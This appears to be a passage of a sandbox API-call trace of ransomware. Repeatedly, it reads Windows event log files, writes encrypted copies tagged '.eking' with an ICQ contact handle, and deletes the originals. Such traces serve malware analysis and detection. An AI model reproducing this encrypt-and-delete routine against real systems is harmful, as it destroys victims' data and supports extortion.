dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.615] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.615] CloseHandle (hObject=0x37c) returned 1 [0226.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0226.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20 [0226.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.615] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.616] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.616] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.616] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0226.616] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.626] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.630] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0226.630] CloseHandle (hObject=0x37c) returned 1 [0226.630] CloseHandle (hObject=0x378) returned 1 [0226.633] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0226.635] SetEvent (hEvent=0x2b8) returned 1 [0226.635] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.635] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.635] CloseHandle (hObject=0x378) returned 1 [0226.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0226.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0226.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.636] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.636] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.636] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.636] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0226.637] ReadFile (in: hFile=0x378, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.642] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.835] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0226.835] CloseHandle (hObject=0x378) returned 1 [0226.835] CloseHandle (hObject=0x37c) returned 1 [0226.852] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0226.914] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.947] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.947] CloseHandle (hObject=0x378) returned 1 [0226.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0226.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0226.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.947] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.947] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.947] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.947] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0226.967] ReadFile (in: hFile=0x378, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.977] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.979] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0226.980] CloseHandle (hObject=0x378) returned 1 [0226.980] CloseHandle (hObject=0x37c) returned 1 [0226.985] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0226.987] SetEvent (hEvent=0x2b8) returned 1 [0226.987] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.987] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.987] CloseHandle (hObject=0x37c) returned 1 [0226.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0226.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0226.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.988] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.988] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.988] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.988] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0226.989] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.009] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.012] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x122, lpOverlapped=0x0) returned 1 [0227.012] CloseHandle (hObject=0x37c) returned 1 [0227.012] CloseHandle (hObject=0x378) returned 1 [0227.020] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0227.022] SetEvent (hEvent=0x2b8) returned 1 [0227.022] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0227.023] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.023] CloseHandle (hObject=0x378) returned 1 [0227.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0227.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0227.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.023] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0227.023] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.023] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.023] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0227.043] ReadFile (in: hFile=0x378, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.052] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.055] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0227.055] CloseHandle (hObject=0x378) returned 1 [0227.055] CloseHandle (hObject=0x37c) returned 1 [0227.058] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0227.060] SetEvent (hEvent=0x2b8) returned 1 [0227.060] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0227.065] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.065] CloseHandle (hObject=0x318) returned 1 [0227.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0227.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0227.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.065] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0227.066] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.066] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.066] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0227.068] ReadFile (in: hFile=0x318, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.074] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.076] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0227.077] CloseHandle (hObject=0x318) returned 1 [0227.077] CloseHandle (hObject=0x37c) returned 1 [0227.082] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0227.084] SetEvent (hEvent=0x2b8) returned 1 [0227.084] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.084] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.084] CloseHandle (hObject=0x37c) returned 1 [0227.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0227.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0227.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.085] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.085] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.085] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.085] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x318 [0227.085] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.092] WriteFile (in: hFile=0x318, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.096] WriteFile (in: hFile=0x318, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0227.231] CloseHandle (hObject=0x37c) returned 1 [0227.231] CloseHandle (hObject=0x318) returned 1 [0227.237] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0227.239] SetEvent (hEvent=0x2b8) returned 1 [0227.240] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.241] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0227.241] CloseHandle (hObject=0x37c) returned 1 [0227.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0227.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0227.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.242] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0227.242] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.242] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0227.242] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0227.243] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0227.248] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0227.251] 